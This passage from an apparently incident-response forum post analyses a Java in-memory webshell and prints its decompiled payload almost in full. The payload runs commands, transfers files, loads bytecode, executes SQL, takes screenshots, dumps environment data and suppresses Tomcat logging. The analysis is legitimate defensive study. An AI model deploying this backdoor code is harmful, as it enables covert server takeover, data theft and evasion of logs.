var1.length; ++var3) { var2 = var2 + var1[var3].getPath(); var2 = var2 + ";"; } return var2; } public byte[] fileRemoteDown() { String var1 = this.get("url"); String var2 = this.get("saveFile"); if (var1 != null && var2 != null) { FileOutputStream var3 = null; try { InputStream var4 = (new URL(var1)).openStream(); var3 = new FileOutputStream(var2); byte[] var9 = new byte[5120]; int var6; while((var6 = var4.read(var9)) != -1) { var3.write(var9, 0, var6); } var3.flush(); var3.close(); var4.close(); return "ok".getBytes(); } catch (Exception var8) { if (var3 != null) { try { var3.close(); } catch (IOException var7) { return var7.getMessage().getBytes(); } } StringBuffer var5 = new StringBuffer(); var5.append("Exception errMsg:"); var5.append(var8.getMessage()); return var5.toString().getBytes(); } } else { return "url or saveFile is null".getBytes(); } } public byte[] setFileAttr() { String var1 = this.get("type"); String var2 = this.get("attr"); String var3 = this.get("fileName"); String var4 = "Null"; if (var1 != null && var2 != null && var3 != null) { try { File var5 = new File(var3); if ("fileBasicAttr".equals(var1)) { Class var10001 = class$5; if (var10001 == null) { try { var10001 = Class.forName("java.io.File"); } catch (ClassNotFoundException var27) { throw new NoClassDefFoundError(var27.getMessage()); } class$5 = var10001; } if (this.getMethodByClass(var10001, "setWritable", new Class[]{Boolean.TYPE}) != null) { if (var2.indexOf("R") != -1) { var5.setReadable(true); } if (var2.indexOf("W") != -1) { var5.setWritable(true); } if (var2.indexOf("X") != -1) { var5.setExecutable(true); } var4 = "ok"; } else { var4 = "Java version is less than 1.6"; } } else if ("fileTimeAttr".equals(var1)) { Date var29 = new Date(0L); StringBuffer var7 = new StringBuffer(); var7.append(var2); char[] var8 = new char[13 - var7.length()]; Arrays.fill(var8, '0'); var7.append(var8); var29 = new Date(var29.getTime() + Long.parseLong(var7.toString())); var5.setLastModified(var29.getTime()); var4 = "ok"; try { Class var9 = Class.forName("java.nio.file.Paths"); Class var10 = Class.forName("java.nio.file.Path"); Class var11 = Class.forName("java.nio.file.attribute.BasicFileAttributeView"); Class var12 = Class.forName("java.nio.file.Files"); Class var13 = Class.forName("java.nio.file.attribute.FileTime"); Class var14 = Class.forName("[java.nio.file.LinkOption"); Class[] var10002 = new Class[2]; Class var10005 = class$3; if (var10005 == null) { try { var10005 = Class.forName("java.lang.String"); } catch (ClassNotFoundException var25) { throw new NoClassDefFoundError(var25.getMessage()); } class$3 = var10005; } var10002[0] = var10005; var10005 = class$6; if (var10005 == null) { try { var10005 = Class.forName("[Ljava.lang.String;"); } catch (ClassNotFoundException var24) { throw new NoClassDefFoundError(var24.getMessage()); } class$6 = var10005; } var10002[1] = var10005; Method var15 = var9.getMethod("get", var10002); Method var16 = var13.getMethod("fromMillis", Long.TYPE); var10002 = new Class[]{var10, null, null}; var10005 = class$7; if (var10005 == null) { try { var10005 = Class.forName("java.lang.Class"); } catch (ClassNotFoundException var23) { throw new NoClassDefFoundError(var23.getMessage()); } class$7 = var10005; } var10002[1] = var10005; var10002[2] = var14; Method var17 = var12.getMethod("getFileAttributeView", var10002); Method var18 = var11.getMethod("setTimes", var13, var13, var13); Object var19 = var15.invoke((Object)null, var3, new String[0]); Object var20 = Array.newInstance(var14.getComponentType(), 0); Object var21 = var17.invoke((Object)null, var19, var11, var20); Object var22 = var16.invoke((Object)null, var29.getTime()); var18.invoke(var21, var22, var22, var22); } catch (Throwable var26) { } } else { var4 = "no ExcuteType"; } } catch (Throwable var28) { StringBuffer var6 = new StringBuffer(); var6.append("Exception errMsg:"); var6.append(var28.getMessage()); return var6.toString().getBytes(); } } else { var4 = "type or attr or fileName is empty"; } return var4.getBytes(); } public byte[] readFile() { String var1 = this.get("fileName"); if (var1 != null) { File var2 = new File(var1); try { if (var2.exists() && var2.isFile()) { if (var2.length() > 204800L) { return "The file is too large, please use the large file to download".getBytes(); } else { byte[] var3 = new byte[(int)var2.length()]; FileInputStream var4; if (var3.length > 0) { var4 = new FileInputStream(var2); var3 = this.readInputStream(var4, var3.length); var4.close(); } else { var3 = new byte[204800]; var4 = new FileInputStream(var2); int var5 = var4.read(var3); if (var5 > 0) { var3 = new byte[var5]; System.arraycopy(var3, 0, var3, 0, var3.length); } var4.close(); } return var3; } } else { return "file does not exist".getBytes(); } } catch (Exception var6) { return var6.getMessage().getBytes(); } } else { return "No parameter fileName".getBytes(); } } public byte[] uploadFile() { String var1 = this.get("fileName"); byte[] var2 = this.getByteArray("fileValue"); if (var1 != null && var2 != null) { try { File var3 = new File(var1); var3.createNewFile(); FileOutputStream var4 = new FileOutputStream(var3); var4.write(var2); var4.close(); return "ok".getBytes(); } catch (Exception var5) { return var5.getMessage().getBytes(); } } else { return "No parameter fileName and fileValue".getBytes(); } } public byte[] newFile() { String var1 = this.get("fileName"); if (var1 != null) { File var2 = new File(var1); try { return var2.createNewFile() ? "ok".getBytes() : "fail".getBytes(); } catch (Exception var5) { StringBuffer var4 = new StringBuffer(); var4.append("Exception errMsg:"); var4.append(var5.getMessage()); return var4.toString().getBytes(); } } else { return "No parameter fileName".getBytes(); } } public byte[] newDir() { String var1 = this.get("dirName"); if (var1 != null) { File var2 = new File(var1); try { return var2.mkdirs() ? "ok".getBytes() : "fail".getBytes(); } catch (Exception var5) { StringBuffer var4 = new StringBuffer(); var4.append("Exception errMsg:"); var4.append(var5.getMessage()); return var4.toString().getBytes(); } } else { return "No parameter fileName".getBytes(); } } public byte[] deleteFile() { String var1 = this.get("fileName"); String var2 = "mem://"; if (var1 != null) { if (var1.startsWith(var2)) { this.session.remove(var1); return "ok".getBytes(); } else { try { File var3 = new File(var1); this.deleteFiles(var3); return "ok".getBytes(); } catch (Exception var5) { StringBuffer var4 = new StringBuffer(); var4.append("Exception errMsg:"); var4.append(var5.getMessage()); return var4.toString().getBytes(); } } } else { return "No parameter fileName".getBytes(); } } public byte[] moveFile() { String var1 = this.get("srcFileName"); String var2 = this.get("destFileName"); if (var1 != null && var2 != null) { File var3 = new File(var1); try { if (var3.exists()) { return var3.renameTo(new File(var2)) ? "ok".getBytes() : "fail".getBytes(); } else { return "The target does not exist".getBytes(); } } catch (Exception var6) { StringBuffer var5 = new StringBuffer(); var5.append("Exception errMsg:"); var5.append(var6.getMessage()); return var5.toString().getBytes(); } } else { return "No parameter srcFileName,destFileName".getBytes(); } } public byte[] copyFile() { String var1 = this.get("srcFileName"); String var2 = this.get("destFileName"); if (var1 != null && var2 != null) { File var3 = new File(var1); File var4 = new File(var2); try { if (var3.exists() && var3.isFile()) { FileInputStream var5 = new FileInputStream(var3); FileOutputStream var6 = new FileOutputStream(var4); byte[] var7 = new byte[5120]; int var8; while((var8 = var5.read(var7)) > -1) { var6.write(var7, 0, var8); } var5.close(); var6.close(); return "ok".getBytes(); } else { return "The target does not exist or is not a file".getBytes(); } } catch (Exception var9) { return var9.getMessage().getBytes(); } } else { return "No parameter srcFileName,destFileName".getBytes(); } } public byte[] include() { byte[] var1 = this.getByteArray("binCode"); String var2 = this.get("codeName"); if (var1 != null && var2 != null) { try { CollectorBase var3 = new CollectorBase(this.getClass().getClassLoader()); Class var4 = var3.defineClass(var1); this.session.put(var2, var4); return "ok".getBytes(); } catch (Exception var5) { return this.session.get(var2) != null ? "ok".getBytes() : var5.getMessage().getBytes(); } } else { return "No parameter binCode,codeName".getBytes(); } } public byte[] execCommand() { String var1 = this.get("argsCount"); if (var1 != null && var1.length() > 0) { int var2 = Integer.parseInt(var1); String[] var3 = new String[var2]; for(int var4 = 0; var4 < var3.length; ++var4) { var3[var4] = this.get("arg-" + var4); } try { Process var11 = Runtime.getRuntime().exec(var3); if (var11 == null) { return "Unable to start process".getBytes(); } else { InputStream var12 = var11.getInputStream(); InputStream var6 = var11.getErrorStream(); ByteArrayOutputStream var7 = new ByteArrayOutputStream(1024); byte[] var8 = new byte[1042]; int var9; if (var12 != null) { while((var9 = var12.read(var8)) > 0) { var7.write(var8, 0, var9); } } if (var6 != null) { while((var9 = var6.read(var8)) > 0) { var7.write(var8, 0, var9); } } return var7.toByteArray(); } } catch (Exception var10) { StringBuffer var5 = new StringBuffer(); var5.append("Exception errMsg:"); var5.append(var10.getMessage()); return var5.toString().getBytes(); } } else { return "No parameter argsCount".getBytes(); } } public byte[] getBasicsInfo() { String var1 = ""; try { Enumeration var2 = System.getProperties().keys(); var1 = var1 + "FileRoot : " + this.listFileRoot() + "\n"; var1 = var1 + "CurrentDir : " + (new File("")).getAbsoluteFile() + "/" + "\n"; var1 = var1 + "CurrentUser : " + System.getProperty("user.name") + "\n"; var1 = var1 + "ProcessArch : " + System.getProperty("sun.arch.data.model") + "\n"; String var9; try { var9 = System.getProperty("java.io.tmpdir"); char var4 = var9.charAt(var9.length() - 1); if (var4 != '\\' && var4 != '/') { var9 = var9 + File.separator; } var1 = var1 + "TempDirectory : " + var9 + "\n"; } catch (Exception var7) { } var1 = var1 + "RealFile : " + this.getRealPath() + "\n"; try { var1 = var1 + "OsInfo : os.name: " + System.getProperty("os.name") + " os.version: " + System.getProperty("os.version") + " os.arch: " + System.getProperty("os.arch") + "\n"; } catch (Exception var6) { var1 = var1 + "OsInfo : " + var6.getMessage() + "\n"; } for(var1 = var1 + "IPList : " + getLocalIPList() + "\n"; var2.hasMoreElements(); var1 = var1 + var9 + " : " + System.getProperty(var9) + "\n") { var9 = (String)var2.nextElement(); } Map var11 = this.getEnv(); String var10; if (var11 != null) { for(Iterator var5 = var11.keySet().iterator(); var5.hasNext(); var1 = var1 + var10 + " : " + var11.get(var10) + "\n") { var10 = (String)var5.next(); } } return var1.getBytes(); } catch (Exception var8) { StringBuffer var3 = new StringBuffer(); var3.append(var1); var3.append("Exception errMsg:"); var3.append(var8.getMessage()); return var3.toString().getBytes(); } } public byte[] screen() { try { Robot var1 = new Robot(); BufferedImage var6 = var1.createScreenCapture(new Rectangle(Toolkit.getDefaultToolkit().getScreenSize().width, Toolkit.getDefaultToolkit().getScreenSize().height)); ByteArrayOutputStream var3 = new ByteArrayOutputStream(); ImageIO.write(var6, "png", ImageIO.createImageOutputStream(var3)); byte[] var4 = var3.toByteArray(); var3.close(); return var4; } catch (Throwable var5) { StringBuffer var2 = new StringBuffer(); var2.append("Exception errMsg:"); var2.append(var5.getMessage()); return var2.toString().getBytes(); } } public byte[] execSql() throws Exception { String var1 = this.get("dbCharset"); String var2 = this.get("jdbcURL"); String var3 = this.get("dbDriver"); String var4 = this.get("dbUsername"); String var5 = this.get("dbPassword"); String var6 = this.get("execType"); if (var1 == null || var1.trim().length() > 0) { var1 = "UTF-8"; } String var7 = new String(this.getByteArray("execSql"), var1); HashMap var8 = new HashMap(); if (var4 != null && var5 != null && var6 != null && var7 != null) { try { try { if (var3 != null) { Class.forName(var3); } } catch (Throwable var30) { } try { Class.forName("com.microsoft.sqlserver.jdbc.SQLServerDriver"); } catch (Throwable var29) { } try { Class.forName("oracle.jdbc.driver.OracleDriver"); } catch (Throwable var28) { try { Class.forName("oracle.jdbc.OracleDriver"); } catch (Throwable var27) { } } try { Class.forName("com.mysql.cj.jdbc.Driver"); } catch (Throwable var26) { try { Class.forName("com.mysql.jdbc.Driver"); } catch (Throwable var25) { } } try { Class.forName("org.postgresql.Driver"); } catch (Throwable var24) { } if (var2 != null) { try { Connection var9 = null; try { var9 = getConnection(var2, var4, var5); } catch (Exception var23) { } if (var9 == null) { var9 = DriverManager.getConnection(var2, var4, var5); } Statement var10 = var9.createStatement(); if (var6.equals("select")) { ResultSet var11 = var10.executeQuery(var7); ResultSetMetaData var12 = var11.getMetaData(); int var13 = var12.getColumnCount(); HashMap var14 = new HashMap(); for(int var15 = 0; var15 < var13; ++var15) { var14.put(String.valueOf(var15), var12.getColumnName(var15 + 1)); } var14.put("count", String.valueOf(var13)); var8.put("column", var14); HashMap var34 = new HashMap(); int var16 = 0; for(int var17 = 0; var11.next(); ++var17) { HashMap var18 = new HashMap(); for(int var19 = 0; var19 < var13; ++var19) { Object var20 = var11.getObject(var19 + 1); String var21 = null; if (var20 == null) { var21 = "NULL"; } else { Class var10000 = class$2; if (var10000 == null) { try { var10000 = Class.forName("[B"); } catch (ClassNotFoundException var22) { throw new NoClassDefFoundError(var22.getMessage()); } class$2 = var10000; } if (var10000.isInstance(var20)) { var21 = this.base64Encode((byte[])var20); } else { var21 = var20.toString(); } } var18.put(String.valueOf(var19), var21); } ++var16; var34.put(String.valueOf(var17), var18); } var34.put("count", String.valueOf(var16)); var8.put("rows", var34); var11.close(); var10.close(); var9.close(); } else { int var33 = var10.executeUpdate(var7); var10.close(); var9.close(); var8.put("errMsg", "Query OK, " + var33 + " rows affected"); } } catch (Exception var31) { var8.put("errMsg", var31.getMessage()); } } else { var8.put("errMsg", "This database is not supported"); } } catch (Exception var32) { var8.put("errMsg", var32.getMessage()); } } else { var8.put("errMsg", "No parameter dbType,dbHost,dbPort,dbUsername,dbPassword,execType,execSql"); } return this.serialize(var8); } public byte[] close() { try { String var1 = this.sessionId(); String var2 = this.get("operation"); if (var1 != null) { Map var7 = (Map)sessionMap.remove(var1); var7.put("alive", Boolean.FALSE); return "ok".getBytes(); } else if (var2 != null && "clearup".equals(var2)) { Iterator var3 = sessionMap.values().iterator(); while(var3.hasNext()) { Object var4 = var3.next(); Class var10000 = class$0; if (var10000 == null) { try { var10000 = Class.forName("java.util.Map"); } catch (ClassNotFoundException var5) { throw new NoClassDefFoundError(var5.getMessage()); } class$0 = var10000; } if (var10000.isInstance(var4)) { ((Map)var4).put("alive", Boolean.FALSE); } } sessionMap.clear(); return "ok".getBytes(); } else { return "fail".getBytes(); } } catch (Exception var6) { return var6.getMessage().getBytes(); } } public byte[] bigFileUpload() { String var1 = this.get("fileName"); byte[] var2 = this.getByteArray("fileContents"); String var3 = this.get("position"); String var4 = "mem://"; int var5 = var3 == null ? 0 : Integer.parseInt(var3); Constructor var6 = null; try { try { Class var10000 = class$8; if (var10000 == null) { try { var10000 = Class.forName("java.io.RandomAccessFile"); } catch (ClassNotFoundException var11) { throw new NoClassDefFoundError(var11.getMessage()); } class$8 = var10000; } Class[] var10001 = new Class[2]; Class var10004 = class$3; if (var10004 == null) { try { var10004 = Class.forName("java.lang.String"); } catch (ClassNotFoundException var10) { throw new NoClassDefFoundError(var10.getMessage()); } class$3 = var10004; } var10001[0] = var10004; var10004 = class$3; if (var10004 == null) { try { var10004 = Class.forName("java.lang.String"); } catch (ClassNotFoundException var9) { throw new NoClassDefFoundError(var9.getMessage()); } class$3 = var10004; } var10001[1] = var10004; var6 = var10000.getConstructor(var10001); } catch (NoSuchMethodException var12) { var3 = null; } if (var1.startsWith(var4)) { if (var5 == 0) { this.session.put(var1, new ByteArrayOutputStream()); } ByteArrayOutputStream var7 = (ByteArrayOutputStream)this.session.get(var1); var7.write(var2); } else if (var3 == null) { FileOutputStream var14 = new FileOutputStream(var1, true); var14.write(var2); var14.flush(); var14.close(); } else { RandomAccessFile var15 = (RandomAccessFile)var6.newInstance(var1, "rw"); var15.seek((long)var5); var15.write(var2); var15.close(); } return "ok".getBytes(); } catch (Exception var13) { StringBuffer var8 = new StringBuffer(); var8.append("Exception errMsg:"); var8.append(var13.getMessage()); return var8.toString().getBytes(); } } public byte[] bigFileDownload() { String var1 = this.get("fileName"); String var2 = this.get("mode"); String var3 = this.get("readByteNum"); String var4 = this.get("position"); String var5 = "mem://"; try { if ("fileSize".equals(var2)) { return String.valueOf((new File(var1)).length()).getBytes(); } else if ("read".equals(var2)) { int var6 = Integer.valueOf(var4); int var12 = Integer.valueOf(var3); byte[] var8 = new byte[var12]; Object var9 = null; if (var1.startsWith(var5)) { var9 = (InputStream)this.session.get(var1); } else { var9 = new FileInputStream(var1); } ((InputStream)var9).skip((long)var6); int var10 = ((InputStream)var9).read(var8); ((InputStream)var9).close(); return var10 == var8.length ? var8 : copyOf(var8, var10); } else { return "no mode".getBytes(); } } catch (Exception var11) { StringBuffer var7 = new StringBuffer(); var7.append("Exception errMsg:"); var7.append(var11.getMessage()); return var7.toString().getBytes(); } } public static byte[] copyOf(byte[] var0, int var1) { byte[] var2 = new byte[var1]; System.arraycopy(var0, 0, var2, 0, Math.min(var0.length, var1)); return var2; } public Map getEnv() { try { Class var10000 = class$9; if (var10000 == null) { try { var10000 = Class.forName("java.lang.System"); } catch (ClassNotFoundException var1) { throw new NoClassDefFoundError(var1.getMessage()); } class$9 = var10000; } return (Map)var10000.getMethod("getenv").invoke((Object)null); } catch (Throwable var2) { return null; } } public static Connection getConnection(String var0, String var1, String var2) { Connection var3 = null; try { Class var10000 = class$10; if (var10000 == null) { try { var10000 = Class.forName("java.sql.DriverManager"); } catch (ClassNotFoundException var15) { throw new NoClassDefFoundError(var15.getMessage()); } class$10 = var10000; } Field[] var4 = var10000.getDeclaredFields(); Field var5 = null; for(int var6 = 0; var6 < var4.length; ++var6) { var5 = var4[var6]; if (var5.getName().indexOf("rivers") != -1) { var10000 = class$11; if (var10000 == null) { try { var10000 = Class.forName("java.util.List"); } catch (ClassNotFoundException var14) { throw new NoClassDefFoundError(var14.getMessage()); } class$11 = var10000; } if (var10000.isAssignableFrom(var5.getType())) { break; } } var5 = null; } if (var5 != null) { var5.setAccessible(true); List var18 = (List)var5.get((Object)null); Iterator var7 = var18.iterator(); while(var7.hasNext() && var3 == null) { try { Object var8 = var7.next(); Driver var9 = null; var10000 = class$12; if (var10000 == null) { try { var10000 = Class.forName("java.sql.Driver"); } catch (ClassNotFoundException var13) { throw new NoClassDefFoundError(var13.getMessage()); } class$12 = var10000; } if (!var10000.isAssignableFrom(var8.getClass())) { Field[] var10 = var8.getClass().getDeclaredFields(); for(int var11 = 0; var11 < var10.length; ++var11) { var10000 = class$12; if (var10000 == null) { try { var10000 = Class.forName("java.sql.Driver"); } catch (ClassNotFoundException var12) { throw new NoClassDefFoundError(var12.getMessage()); } class$12 = var10000; } if (var10000.isAssignableFrom(var10[var11].getType())) { var10[var11].setAccessible(true); var9 = (Driver)var10[var11].get(var8); break; } } } if (var9 != null) { Properties var19 = new Properties(); if (var1 != null) { var19.put("user", var1); } if (var2 != null) { var19.put("password", var2); } var3 = var9.connect(var0, var19); } } catch (Exception var16) { } } } } catch (Exception var17) { } return var3; } public String sessionId() { byte[] var1 = this.getByteArray("sessionId"); return var1 != null ? new String(var1) : null; } public static String getLocalIPList() { ArrayList var0 = new ArrayList(); try { Class var1 = Class.forName("java.net.NetworkInterface"); Method var2 = var1.getMethod("getNetworkInterfaces"); Method var3 = var1.getMethod("getInetAddresses"); Enumeration var4 = (Enumeration)var2.invoke((Object)null); while(var4.hasMoreElements()) { Object var5 = var4.nextElement(); Enumeration var6 = (Enumeration)var3.invoke(var5); while(var6.hasMoreElements()) { InetAddress var7 = (InetAddress)var6.nextElement(); if (var7 != null) { String var8 = var7.getHostAddress(); var0.add(var8); } } } } catch (Throwable var9) { } Iterator var10 = var0.iterator(); StringBuffer var11 = new StringBuffer(); var11.append("["); while(var10.hasNext()) { Object var12 = var10.next(); var11.append(var12.toString()); var11.append(","); } if (var11.length() > 1) { var11.deleteCharAt(var11.length() - 1); } var11.append("]"); return var11.toString(); } public String getRealPath() { String var1 = (new File("")).getAbsoluteFile() + "/"; if (this.servletRequest != null) { try { Method var2 = this.getMethodByClass(this.servletRequest.getClass(), "getServletContext", new Class[0]); Object var3 = var2.invoke(this.servletRequest, (Object[])null); if (var3 != null) { Class var4 = var3.getClass(); Class[] var5 = new Class[1]; Class var10002 = class$3; if (var10002 == null) { try { var10002 = Class.forName("java.lang.String"); } catch (ClassNotFoundException var8) { throw new NoClassDefFoundError(var8.getMessage()); } class$3 = var10002; } var5[0] = var10002; Method var6 = this.getMethodByClass(var4, "getRealPath", var5); if (var6 != null) { Object var7 = var6.invoke(var3, "/"); return var7 != null ? var7.toString() : var1; } } } catch (Throwable var9) { } } return var1; } public void deleteFiles(File var1) throws Exception { if (var1.isDirectory()) { File[] var2 = var1.listFiles(); for(int var3 = 0; var3 < var2.length; ++var3) { File var4 = var2[var3]; this.deleteFiles(var4); } } var1.delete(); } Object invoke(Object var1, String var2, Object[] var3) { try { ArrayList var4 = new ArrayList(); if (var3 != null) { for(int var5 = 0; var5 < var3.length; ++var5) { Object var6 = var3[var5]; if (var6 != null) { var4.add(var6.getClass()); } else { var4.add((Object)null); } } } Method var8 = this.getMethodByClass(var1.getClass(), var2, (Class[])var4.toArray(new Class[0])); return var8.invoke(var1, var3); } catch (Exception var7) { return null; } } Method getMethodByClass(Class var1, String var2, Class[] var3) { Method var4 = null; while(var1 != null) { try { var4 = var1.getDeclaredMethod(var2, var3); var1 = null; } catch (Exception var5) { var1 = var1.getSuperclass(); } } return var4; } public static Object getFieldValue(Object var0, String var1) throws Exception { Field var2 = null; if (var0 instanceof Field) { var2 = (Field)var0; } else { Class var3 = var0.getClass(); while(var3 != null) { try { var2 = var3.getDeclaredField(var1); var3 = null; } catch (Exception var4) { var3 = var3.getSuperclass(); } } } var2.setAccessible(true); return var2.get(var0); } private byte[] readInputStream(InputStream var1, int var2) { byte[] var3 = new byte[var2]; int var4 = 0; try { while((var4 += var1.read(var3, var4, var3.length - var4)) < var3.length) { } } catch (IOException var5) { } return var3; } public static String getRandomString(int var0) { String var1 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; Random var2 = new Random(); StringBuffer var3 = new StringBuffer(); var3.append(var1.charAt(var2.nextInt(52))); var1 = var1 + "0123456789"; for(int var4 = 0; var4 < var0; ++var4) { int var5 = var2.nextInt(62); var3.append(var1.charAt(var5)); } return var3.toString(); } private void noLog(Object var1) { try { Method var2 = this.getMethodByClass(var1.getClass(), "getServletContext", (Class[])null); Object var3 = var2.invoke(var1, (Object[])null); Object var4 = getFieldValue(var3, "context"); Object var5 = getFieldValue(var4, "context"); ArrayList var6; for(var6 = new ArrayList(); var5 != null; var5 = this.invoke(var5, "getParent", (Object[])null)) { var6.add(var5); } label84: for(int var7 = 0; var7 < var6.size(); ++var7) { try { Object var8 = this.invoke(var6.get(var7), "getPipeline", (Object[])null); if (var8 != null) { Object var9 = this.invoke(var8, "getFirst", (Object[])null); while(true) { while(true) { if (var9 == null) { continue label84; } if (this.getMethodByClass(var9.getClass(), "getCondition", (Class[])null) != null) { Class var10001 = var9.getClass(); Class[] var10003 = new Class[1]; Class var10006 = class$3; if (var10006 == null) { try { var10006 = Class.forName("java.lang.String"); } catch (ClassNotFoundException var14) { throw new NoClassDefFoundError(var14.getMessage()); } class$3 = var10006; } var10003[0] = var10006; if (this.getMethodByClass(var10001, "setCondition", var10003) != null) { String var10 = (String)this.invoke((String)var9, "getCondition", new Object[0]); var10 = var10 == null ? "FuckLog" : var10; this.invoke(var9, "setCondition", new Object[]{var10}); var10001 = var1.getClass(); var10003 = new Class[2]; var10006 = class$3; if (var10006 == null) { try { var10006 = Class.forName("java.lang.String"); } catch (ClassNotFoundException var13) { throw new NoClassDefFoundError(var13.getMessage()); } class$3 = var10006; } var10003[0] = var10006; var10006 = class$3; if (var10006 == null) { try { var10006 = Class.forName("java.lang.String"); } catch (ClassNotFoundException var12) { throw new NoClassDefFoundError(var12.getMessage()); } class$3 = var10006; } var10003[1] = var10006; Method var11 = this.getMethodByClass(var10001, "setAttribute", var10003); var11.invoke(var10, var10); var9 = this.invoke(var9, "getNext", (Object[])null); continue; } } if (Class.forName("org.apache.catalina.Valve", false, var4.getClass().getClassLoader()).isAssignableFrom(var9.getClass())) { var9 = this.invoke(var9, "getNext", (Object[])null); } else { var9 = null; } } } } } catch (Exception var15) { } } } catch (Exception var16) { } } public static int bytesToInt(byte[] var0) { int var1 = var0[0] & 255 | (var0[1] & 255) << 8 | (var0[2] & 255) << 16 | (var0[3] & 255) << 24; return var1; } public static byte[] intToBytes(int var0) { byte[] var1 = new byte[]{(byte)(var0 & 255), (byte)(var0 >> 8 & 255), (byte)(var0 >> 16 & 255), (byte)(var0 >> 24 & 255)}; return var1; } public String base64Encode(byte[] var1) { byte var2 = 0; int var3 = var1.length; byte[] var4 = new byte[4 * ((var1.length + 2) / 3)]; byte var5 = -1; boolean var6 = true; char[] var7 = toBase64; int var8 = var2; int var9 = (var3 - var2) / 3 * 3; int var10 = var2 + var9; if (var5 > 0 && var9 > var5 / 4 * 3) { var9 = var5 / 4 * 3; } int var11; int var12; int var13; for(var11 = 0; var8 < var10; var8 = var12) { var12 = Math.min(var8 + var9, var10); var13 = var8; int var15; for(int var14 = var11; var13 < var12; var4[var14++] = (byte)var7[var15 & 63]) { var15 = (var1[var13++] & 255) << 16 | (var1[var13++] & 255) << 8 | var1[var13++] & 255; var4[var14++] = (byte)var7[var15 >>> 18 & 63]; var4[var14++] = (byte)var7[var15 >>> 12 & 63]; var4[var14++] = (byte)var7[var15 >>> 6 & 63]; } var13 = (var12 - var8) / 3 * 4; var11 += var13; } if (var8 < var3) { var12 = var1[var8++] & 255; var4[var11++] = (byte)var7[var12 >> 2]; if (var8 == var3) { var4[var11++] = (byte)var7[var12 << 4 & 63]; if (var6) { var4[var11++] = 61; var4[var11++] = 61; } } else { var13 = var1[var8++] & 255; var4[var11++] = (byte)var7[var12 << 4 & 63 | var13 >> 4]; var4[var11++] = (byte)var7[var13 << 2 & 63]; if (var6) { var4[var11++] = 61; } } } return new String(var4); } } ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-3869dc2bbda50f026d694606b8a9ddec5c4f484e.png) 到此,分析暂时完成,看情况分析WindowsConfig.jsp ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-4f9070142660b636c3dd7567ebbfe82e65914748.png) 0x04 小结 ======= 本篇我们针对内存马,通过对流量的照猫画虎和照虎画猫,编写了通用的攻击脚本,以及解密脚本,欠缺的是仍然需要burp的辅助,后续会更新工具版。
发表于 2022-08-18 09:35:36
阅读 ( 7080 )
分类:
应急响应
3 推荐
收藏
0 条评论
请先
登录
后评论
Wumingzhilian
4 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!